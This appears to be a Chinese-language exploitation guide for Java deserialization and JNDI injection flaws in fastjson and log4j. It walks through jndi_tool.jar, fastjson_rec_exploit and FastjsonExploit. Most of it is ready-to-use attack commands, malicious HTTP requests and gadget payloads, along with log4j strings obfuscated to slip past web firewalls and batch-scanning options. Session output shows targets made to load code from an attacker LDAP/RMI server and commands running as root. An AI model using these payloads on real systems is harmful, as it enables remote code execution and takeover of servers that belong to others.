rmi_high_jdk: java -cp jndi_tool.jar jndi.EvilRMIServer 8888 1099 "curl dnslog.wyzxxz.cn" el-win/el-linux/groovy ldap_normal: java -cp jndi_tool.jar jndi.LDAPRefServer 1099 host=127.0.0.1 ldap_auto: java -cp jndi_tool.jar jndi.LDAPRefServerAuto 127.0.0.1 1099 80 file=filename (param_format: __JNDI__) fastjson: java -cp jndi_tool.jar jndi.fastjson.LDAPRefServerAuto 127.0.0.1 1099 file=filename tamper=tohex chunk=on java -cp jndi_tool.jar jndi.fastjson.BCELEncode "curl dnslog.wyzxxz.cn" java -cp jndi_tool.jar jndi.fastjson.Tamper "{\"abc\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1099/Object\",\"autoCommit\":true}}" log4j: java -cp jndi_tool.jar jndi.log4j.HLDAPLog4j 127.0.0.1 80 "whoami" http://target w=tomcat/groory/http default:http java -cp jndi_tool.jar jndi.log4j.Tamper "${jndi:ldap://127.0.0.1/a}" all=true random=true java -cp jndi_tool.jar jndi.log4j.Log4j 127.0.0.1 80 url=http://xx.xx or urls=1.txt thread=10 log4j检测,建议用 0 或者 4 的payload ,相对通用一些 新增的 jndi.LDAPRefServerAuto 示例 > cat request1.txt GET /${jndi:__JNDI__} HTTP/1.1 Host: xx.xx.xx.xx Accept: \${jndi:__JNDI__} > java -cp jndi_tool.jar jndi.LDAPRefServerAuto xx.xx.xx.xx 1099 80 file=request1.txt or > java -cp jndi_tool.jar jndi.LDAPRefServerAuto xx.xx.xx.xx 1099 80 url="http://xx.xx.xx/\${jndi:__JNDI__}" headers="Accept: \${jndi:__JNDI__}" [-] url: http://xx.xx.xx/${jndi:__JNDI__} [-] process headers: {Accept=${jndi:__JNDI__}} [-] use: ldap://xx.xx.xx:1099/JNDIObject [-] url: http://xx.xx.xx/${jndi:ldap://xx.xx.xx:1099/JNDIObject} [-] LDAP Listening on xx.xx.xx:1099 [-] get request delay time, waiting... [-] use waiting time: 1000 [-] checking CommonsBeanutils2 [-] checking CommonsCollections8 [-] checking CommonsCollections10 [-] checking CommonsCollectionsK1 [-] checking CommonsCollectionsK2 [-] checking CommonsCollectionsK3 [-] checking CommonsCollectionsK4 [-] checking CommonsBeanutils1 [*] find: CommonsBeanutils1 can be use [-] checking CommonsCollections1 [-] checking CommonsCollections2 [-] checking CommonsCollections3 [-] checking CommonsCollections5 [-] checking CommonsCollections6 [-] checking CommonsCollections7 [-] checking CommonsCollections9 [-] checking Groovy1 [-] checking JSON1 [*] find: JSON1 can be use [-] checking Jdk7u21 [-] checking Spring1 [-] checking Spring2 [-] checking el waiting ... retrying ... [*] find: el can be use 0. CommonsBeanutils1 1. JSON1 2. el [-] please choose gadget, enter q or quit to quit, > 0 * example: curl x.xx , bash=curl `whoami`.x.xx [-] please enter command, enter q or quit to quit, > curl x.dnslog [-] please enter command, enter q or quit to quit, > back 0. CommonsBeanutils1 1. JSON1 2. el [-] please choose gadget, enter q or quit to quit, > 2 * example: curl x.xx , bash=curl `whoami`.x.xx [-] please enter command, enter q or quit to quit, > curl x.dnslog [-] please enter command, enter q or quit to quit, > q =================================================================================================== [root@ /]# java -cp jndi_tool.jar jndi.HRMIServer xx.xx.xx.xx 80 "curl dnslog.wyzxxz.cn" [-] Opening JRMP listener on 80 [-] Have connection from /xx.xx.xx.xx:33543 [-] Reading message... [-] Is RMI.lookup call for Exploit 2 [-] Sending remote classloading stub targeting http://xx.xx.xx.xx:80/Object.class [-] Closing connection [*] Have connection from /xx.xx.xx.xx:33544 /Object.class [-] remote target jdk version: java/1.7.0_79, use payload version: jdk7 [-] send payload done and exit. [root@ /]# java -cp jndi_tool.jar jndi.HLDAPServer xx.xx.xx.xx 80 "curl dnslog.wyzxxz.cn" [-] LDAP Listening on 0.0.0.0:80 [*] Send LDAP reference result for Exploit redirecting to http://xx.xx.xx.xx:80/Object.class [*] Have connection from /xx.xx.xx.xx:33548 /Object.class [-] remote target jdk version: java/1.7.0_79, use payload version: jdk7 [-] remote target jdk version: java/1.7.0_79, use payload version: jdk7 [-] send payload done and exit. =================================================================================================== rmi: 1. 启动RMI服务,后面写要执行的语句 java -cp jndi_tool.jar jndi.EvilRMIServer 1099 8888 "curl dnslog.wyzxxz.cn" 2. 发送请求包 POST /test HTTP/1.1 Host: 127.0.0.1 Content-Type: application/json Accept-Encoding: gzip, deflate Connection: close Accept: */* User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X) {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true} 3. 查看日志是否curl成功 =================================================================================================== ldap: 1. 启动LDAP服务,后面写要执行的语句 java -cp jndi_tool.jar jndi.HLDAPServer xx.xx.xx.xx 80 "curl dnslog.wyzxxz.cn" 2. 发送请求包 POST /test HTTP/1.1 Host: 127.0.0.1 Content-Type: application/json Accept-Encoding: gzip, deflate Connection: close Accept: */* User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X) {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xx.xx.xx.xx:80/Object","autoCommit":true} 3. 查看日志是否执行成功 =================================================================================================== ldap: 1. 启动LDAP服务,后面写要执行的语句 > java -cp jndi_tool.jar jndi.LDAPRefServer 1099 host="0.0.0.0" [-] Payloads: CommonsBeanutils1-2,CommonsCollections1-10,CommonsCollectionsK1-4,Groovy1,Clojure,JSON1,Spring1-2,URLDNS,file,tomcat,groovy [-] etc: ldap://0.0.0.0:1099/CommonsBeanutils1/curl x.cn [-] etc: ldap://0.0.0.0:1099/CommonsCollections1/bash=ping x.cn # bash=后面的命令会自动进行base64编码,支持base=,python=,powershell=,perl= [-] etc: ldap://0.0.0.0:1099/URLDNS/x.cn [-] etc: ldap://0.0.0.0:1099/file/base64data_filename [-] etc: ldap://0.0.0.0:1099/el/whomai [-] etc: ldap://0.0.0.0:1099/groovy/whomai [-] etc: ldap://0.0.0.0:1099/mlet/http://xx.xx [-] etc: ldap://0.0.0.0:1099/groovyload/http://xx.xx [-] etc: ldap://0.0.0.0:1099/snakeyaml/http://xx.xx/x.jar [-] etc: ldap://0.0.0.0:1099/xstream/curl x.dns [-] etc: ldap://0.0.0.0:1099/mvel/whoami [-] etc: ldap://0.0.0.0:1099/loadlib//tmp/nativeLib_name [-] etc: ldap://0.0.0.0:1099/tomcatxxe/http://xx.xx/xxe.xml jdbc: [-] etc: ldap://0.0.0.0:1099/tomcatdbcp/whoami [-] etc: ldap://0.0.0.0:1099/tomcatdbcp2/whoami [-] etc: ldap://0.0.0.0:1099/commondbcp/whoami [-] etc: ldap://0.0.0.0:1099/commondbcp2/whoami [-] etc: ldap://0.0.0.0:1099/tomcatjdbc/whoami [-] etc: ldap://0.0.0.0:1099/druidjdbc/whoami 2. 发送请求包 POST /test HTTP/1.1 Host: 127.0.0.1 Content-Type: application/json Accept-Encoding: gzip, deflate Connection: close Accept: */* User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X) {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xx.xx.xx.xx:1099/CommonsCollections1/curl x.com","autoCommit":true} 3. 查看日志是否执行成功 =================================================================================================== fastjson: > java -cp jndi_tool.jar jndi.fastjson.LDAPRefServerAuto 127.0.0.1 1099 file=filename filename为请求包,需要插入fastjson攻击语句的地方,用__PAYLOAD__代替。示例: POST /fastjson_demo HTTP/1.1 Host: xx.xx.xx.xx Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.16 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Content-Type: application/json Content-Length: 165 __PAYLOAD__ > java -cp jndi_tool.jar jndi.fastjson.LDAPRefServerAuto 127.0.0.1 8088 file=req chunk=on [-] Chunked coding ON [-] target: https://xx.xx.xx.xx/fastjson_demo [-] Payload list: 0. {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:8088/Object","autoCommit":true} 1. {"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:8088/Object","autoCommit":true}} [-] [-] please chosse payload, or input payload like payload={......} chunk=on / chunk=off > 1 [-] url: https://xx.xx.xx.xx/fastjson_demo [-] post_data: {"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:8088/Object","autoCommit":true}} [-] LDAP Listening on 127.0.0.1:8088 [-] checking CommonsBeanutils1 [*] find: CommonsBeanutils1 can be use [*] CHECK ECHO. [-] ECHO FIND. [-] please enter command, enter q or quit to quit, tomcatshell or springshell get memshell, chunk=on / chunk=off > id uid=0(root) gid=0(root) groups=0(root) [-] please enter command, enter q or quit to quit, tomcatshell or springshell get memshell, chunk=on / chunk=off > q [-] quit > fastjson.Tamper : fastjson的一些特性,可以绕一些WAF [-] tamper list: tohex tounicode tohexunicode tourlencode randomhex randomunicode addis addcomment addmorecomment addcommas addrandomx add- add_ addsize 填充内容 tamper支持多个,但有些不能一起用,多个注意使用的先后顺序,例如 tohex,addcomment =================================================================================================== log4j > java -cp jndi_tool.jar jndi.log4j.Log4j vps_ip 8099 url=http://xx.xx.xx [-] LDAP Listening on 0.0.0.0:80 0. ${jndi:ldap://********/xobject} 1. ${jndi:ldap://127.0.0.1#********/xobject} 2. ${${upper:j}${upper:n}${upper:d}${upper:i}:${upper:l}${upper:d}${upper:a}${upper:p}://********/xobject} 3. ${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://********/xobject} 4. ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://********/xobject} 5. ${${spH::-j}${Gdt:zhN:-n}${YCJe::-d}${t:bbru:-i}:${irS:LbN:-l}${m:vjW:-d}${UFd:VVf:-a}${W::-p}://********/xobject} 6. ${${bQjc::cQT:-j}${fQLP:NAJR:-n}${Ko:c:G:lbhy:-d}${:GXH::Sd:-i}:${MEU:TXgc:VRc:-l}${A:eMJA:qA:kNXt:-d}${:W::-a}${JbuH:Pbq:IDW:-p}://********/xobject} 7. ${${lower:${lower:${lower:j}}}${lower:${lower:n}}${lower:d}${lower:i}:${lower:${lower:l}}${lower:${lower:${lower:d}}}${lower:${lower:${lower:${lower:${lower:a}}}}}${lower:${lower:p}}://********/xobject} 8. ${${upper:${upper:j}}${upper:${upper:${upper:n}}}${upper:${upper:${upper:${upper:${upper:d}}}}}${upper:${upper:i}}:${upper:${upper:${upper:l}}}${upper:d}${upper:${upper:${upper:a}}}${upper:${upper:${upper:${upper:p}}}}://********/xobject} 9. ${${upper:${upper:${lower:j}}}${upper:${lower:n}}${lower:${upper:${lower:d}}}${upper:${lower:i}}:${upper:l}${upper:${upper:d}}${lower:${upper:a}}${upper:${lower:${lower:p}}}://********/xobject} [-] please chosse payload, or input payload like payload=${......} > 4 [-] payload: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://****/xobject} > threads: 1 > url count: 1 [-] start exploit. waiting... >> target is vul: http://xx.xx.xx [-] waiting exit... [-] exit. > java -cp jndi_tool.jar jndi.log4j.Log4j vps_ip 8099 urls=1.txt [-] LDAP Listening on 0.0.0.0:80 0. ${jndi:ldap://********/xobject} 1. ${jndi:ldap://127.0.0.1#********/xobject} 2. ${${upper:j}${upper:n}${upper:d}${upper:i}:${upper:l}${upper:d}${upper:a}${upper:p}://********/xobject} 3. ${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://********/xobject} 4. ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://********/xobject} 5. ${${spH::-j}${Gdt:zhN:-n}${YCJe::-d}${t:bbru:-i}:${irS:LbN:-l}${m:vjW:-d}${UFd:VVf:-a}${W::-p}://********/xobject} 6. ${${bQjc::cQT:-j}${fQLP:NAJR:-n}${Ko:c:G:lbhy:-d}${:GXH::Sd:-i}:${MEU:TXgc:VRc:-l}${A:eMJA:qA:kNXt:-d}${:W::-a}${JbuH:Pbq:IDW:-p}://********/xobject} 7. ${${lower:${lower:${lower:j}}}${lower:${lower:n}}${lower:d}${lower:i}:${lower:${lower:l}}${lower:${lower:${lower:d}}}${lower:${lower:${lower:${lower:${lower:a}}}}}${lower:${lower:p}}://********/xobject} 8. ${${upper:${upper:j}}${upper:${upper:${upper:n}}}${upper:${upper:${upper:${upper:${upper:d}}}}}${upper:${upper:i}}:${upper:${upper:${upper:l}}}${upper:d}${upper:${upper:${upper:a}}}${upper:${upper:${upper:${upper:p}}}}://********/xobject} 9. ${${upper:${upper:${lower:j}}}${upper:${lower:n}}${lower:${upper:${lower:d}}}${upper:${lower:i}}:${upper:l}${upper:${upper:d}}${lower:${upper:a}}${upper:${lower:${lower:p}}}://********/xobject} [-] please chosse payload, or input payload like payload=${......} > 4 [-] payload: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://********/xobject} > threads: 2 > url count: 2 [-] start exploit. waiting... >> target is vul: http://xx.xx.xx >> target is vul: http://xx.xx.xx [-] waiting exit... [-] exit. > java -cp jndi_tool.jar jndi.log4j.HLDAPLog4j xx.xx.xx.xx 8088 "whoami" http://xx.xx.xx:8080/ [-] LDAP Listening on 0.0.0.0:8088 0. ${jndi:ldap://127.0.0.1:8088/xobject} 1. ${jndi:ldap://127.0.0.1#127.0.0.1:8088/xobject} 2. ${${upper:j}${upper:n}${upper:d}${upper:i}:${upper:l}${upper:d}${upper:a}${upper:p}://127.0.0.1:8088/xobject} 3. ${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:8088/xobject} 4. ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1:8088/xobject} 5. ${${kXqh:pJ:-j}${FAvg:PfJU:-n}${DMCK:qO:-d}${::-i}:${z:Aq:-l}${:XT:-d}${cFEq::-a}${DfP:dpH:-p}://127.0.0.1:8088/xobject} 6. ${${RkL:kdx:x:Ta:vT:zMy:-j}${:CFf:yI:-n}${:CR:LqeF::-d}${EY:LgWR:Y:lao:-i}:${Y:D:-l}${HSh:lK:C:-d}${UIyH:ppxT:-a}${cNi:gxB:z:-p}://127.0.0.1:8088/xobject} 7. ${${lower:${lower:j}}${lower:${lower:${lower:n}}}${lower:${lower:d}}${lower:${lower:i}}:${lower:l}${lower:${lower:${lower:${lower:d}}}}${lower:${lower:${lower:a}}}${lower:${lower:p}}://127.0.0.1:8088/xobject} 8. ${${upper:${upper:j}}${upper:${upper:${upper:n}}}${upper:${upper:${upper:${upper:d}}}}${upper:${upper:i}}:${upper:${upper:l}}${upper:d}${upper:${upper:${upper:a}}}${upper:${upper:${upper:p}}}://127.0.0.1:8088/xobject} 9. ${${upper:${upper:${upper:j}}}${upper:n}${lower:${upper:${lower:${lower:d}}}}${upper:${lower:${lower:i}}}:${upper:${lower:l}}${upper:${lower:d}}${lower:a}${lower:${upper:${lower:p}}}://127.0.0.1:8088/xobject} [-] please chosse payload, or input payload like payload=${......} > 0 [-] payload: ${jndi:ldap://127.0.0.1:8088/xobject} [-] start exploit. waiting... [-] remote target jdk version: java/1.8.0_131, use payload version: jdk8 [-] send payload done [-] waiting result... result: root > java -cp jndi_tool.jar jndi.log4j.HLDAPLog4j xx.xx.xx.xx 8088 "whoami" http://xx.xx.xx:8080/ w=tomcat // 高版本jdk的绕过,依赖el [-] LDAP Listening on 0.0.0.0:8088 0. ${jndi:ldap://127.0.0.1:8088/xobject} 1. ${jndi:ldap://127.0.0.1#127.0.0.1:8088/xobject} 2. ${${upper:j}${upper:n}${upper:d}${upper:i}:${upper:l}${upper:d}${upper:a}${upper:p}://127.0.0.1:8088/xobject} 3. ${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:8088/xobject} 4. ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1:8088/xobject} 5. ${${kXqh:pJ:-j}${FAvg:PfJU:-n}${DMCK:qO:-d}${::-i}:${z:Aq:-l}${:XT:-d}${cFEq::-a}${DfP:dpH:-p}://127.0.0.1:8088/xobject} 6. ${${RkL:kdx:x:Ta:vT:zMy:-j}${:CFf:yI:-n}${:CR:LqeF::-d}${EY:LgWR:Y:lao:-i}:${Y:D:-l}${HSh:lK:C:-d}${UIyH:ppxT:-a}${cNi:gxB:z:-p}://127.0.0.1:8088/xobject} 7. ${${lower:${lower:j}}${lower:${lower:${lower:n}}}${lower:${lower:d}}${lower:${lower:i}}:${lower:l}${lower:${lower:${lower:${lower:d}}}}${lower:${lower:${lower:a}}}${lower:${lower:p}}://127.0.0.1:8088/xobject} 8. ${${upper:${upper:j}}${upper:${upper:${upper:n}}}${upper:${upper:${upper:${upper:d}}}}${upper:${upper:i}}:${upper:${upper:l}}${upper:d}${upper:${upper:${upper:a}}}${upper:${upper:${upper:p}}}://127.0.0.1:8088/xobject} 9. ${${upper:${upper:${upper:j}}}${upper:n}${lower:${upper:${lower:${lower:d}}}}${upper:${lower:${lower:i}}}:${upper:${lower:l}}${upper:${lower:d}}${lower:a}${lower:${upper:${lower:p}}}://127.0.0.1:8088/xobject} [-] please chosse payload, or input payload like payload=${......} > 0 [-] payload: ${jndi:ldap://127.0.0.1:8088/xobject} [-] start exploit. waiting... [-] input class: tomcat, command: curl xx.xx.xx [*] Send data... [-] exit. > java -cp jndi_tool.jar jndi.log4j.Tamper "\${jndi:ldap://127.0.0.1/a}" random=true [-] process all string is: False [-] random process string is: True -------------------------------------------------- ${jndi:ldap://127.0.0.1/a} ${j${upper:n}d${upper:i}:l${upper:d}${upper:a}p://127.0.0.1/a} ${j${upper:n}d${upper:${upper:i}}:l${upper:d}${upper:a}p://127.0.0.1/a} ${j${lower:n}d${lower:i}:l${lower:d}${lower:a}p://127.0.0.1/a} ${j${::-n}d${::-i}:l${::-d}${::-a}p://127.0.0.1/a} ${j${Omhc:qBz:-n}d${b:Hz:-i}:l${vX::-d}${puF:A:-a}p://127.0.0.1/a} ${j${Ez:mk:cHK:Xwn::-n}d${TXjk:LN:vBjQ::-i}:l${Nz:Of:bfDt:AgIH:-d}${TDN:SchK:uWu::-a}p://127.0.0.1/a} ${j${lower:${lower:n}}d${lower:${lower:${lower:${lower:i}}}}:l${lower:${lower:${lower:d}}}${lower:${lower:${lower:${lower:a}}}}p://127.0.0.1/a} ${j${upper:${upper:${upper:n}}}d${upper:${upper:${upper:${upper:i}}}}:l${upper:${upper:d}}${upper:${upper:a}}p://127.0.0.1/a} ${j${lower:${lower:${lower:${lower:n}}}}d${upper:${lower:${upper:i}}}:l${lower:d}${upper:${upper:${lower:a}}}p://127.0.0.1/a} * JNDI在高版本的JDK下的利用,综合了 (乌云最帅 没有之一)浅蓝 老板的姿势,很赞*
fastjson_rec_exploit 项目地址:
https://github.com/mrknow001/fastjson_rec_exploit
优点:对fastjson有绕过模块
使用说明:
fastjson一键命令执行
脚本使用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 usage: Fastjson one-key command is executed! [-h] [-u URL] [-s SELF] [-c COMMAMD] python3 fastjson.py -u [Target Url] -s [self IP] -c [command] optional arguments: -h, --help show this help message and exit -u URL, --url URL 漏洞url -s SELF, --self SELF 自己IP,如果是VPS请输入公网IP -c COMMAMD, --commamd COMMAMD 执行的命令,有空格请加上双引号 -m [MODE], --mode [MODE] 选择执行模式(可选),1:ldap模式(默认);2:rmi模式 python3 fastjson.py -u http://192.168.1.3/ -s 192.168.1.1 -c "touch /tmp/test.txt
使用截图:
批量检测链接放target.txt中。 usage:python3 fastjson_check.py
FastjsonExploit 项目地址:
https://github.com/c0ny1/FastjsonExploit
优点:
FastjsonExploit是一个Fastjson漏洞快速漏洞利用框架,主要功能如下:
一键生成利用payload,并启动所有利用环境。
管理Fastjson各种payload(当然是立志整理所有啦,目前6个类,共11种利用及绕过)
使用说明:
建造环境
Requires Java 1.7+ and Maven 3.x+
1 mvn clean package -DskipTests
使用方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 .---- -. -. . . . ( .',----- - - ' ' \_/ ;--:-\ __--------------------__ __U__n_^_''__[. |ooo___ | |_!_||_!_||_!_||_!_| | c(_ ..(_ ..(_ ..( /,,,,,,] | |___||___||___||___| | ,_\___________'_|,L______],|______________________| /;_(@)(@)==(@)(@) (o)(o) (o)^(o)--(o)^(o) FastjsonExploit is a Fastjson library vulnerability exploit framework Author:c0ny1<root@gv7.me> Usage: java -jar Fastjson-[version]-all.jar [payload] [option] [command] Exp01: java -jar FastjsonExploit-[version].jar JdbcRowSetImpl1 rmi://127.0.0.1:1099/Exploit "cmd:calc" Exp02: java -jar FastjsonExploit-[version].jar JdbcRowSetImpl1 ldap://127.0.0.1:1232/Exploit "code:custom_code.java" Exp03: java -jar FastjsonExploit-[version].jar TemplatesImpl1 "cmd:calc" Exp04: java -jar FastjsonExploit-[version].jar TemplatesImpl1 "code:custom_code.java" Available payload types: Payload PayloadType VulVersion Dependencies ------- ----------- ---------- ------------ BasicDataSource1 local 1.2.2.1-1.2.2.4 tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4 BasicDataSource2 local 1.2.2.1-1.2.2.4 tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4 JdbcRowSetImpl1 jndi 1.2.2.1-1.2.2.4 JdbcRowSetImpl2 jndi 1.2.2.1-1.2.4.1 Fastjson 1.2.41 bypass JdbcRowSetImpl3 jndi 1.2.2.1-1.2.4.3 Fastjson 1.2.43 bypass JdbcRowSetImpl4 jndi 1.2.2.1-1.2.4.2 Fastjson 1.2.42 bypass JdbcRowSetImpl5 jndi 1.2.2.1-1.2.4.7 Fastjson 1.2.47 bypass JndiDataSourceFactory1 jndi 1.2.2.1-1.2.2.4 ibatis-core:3.0 SimpleJndiBeanFactory1 jndi 1.2.2.2-1.2.2.4 spring-context:4.3.7.RELEASE TemplatesImpl1 local 1.2.2.1-1.2.2.4 xalan:2.7.2(need Feature.SupportNonPublicField) TemplatesImpl2 local 1.2.2.1-1.2.2.4 xalan:2.7.2(need Feature.SupportNonPublicField)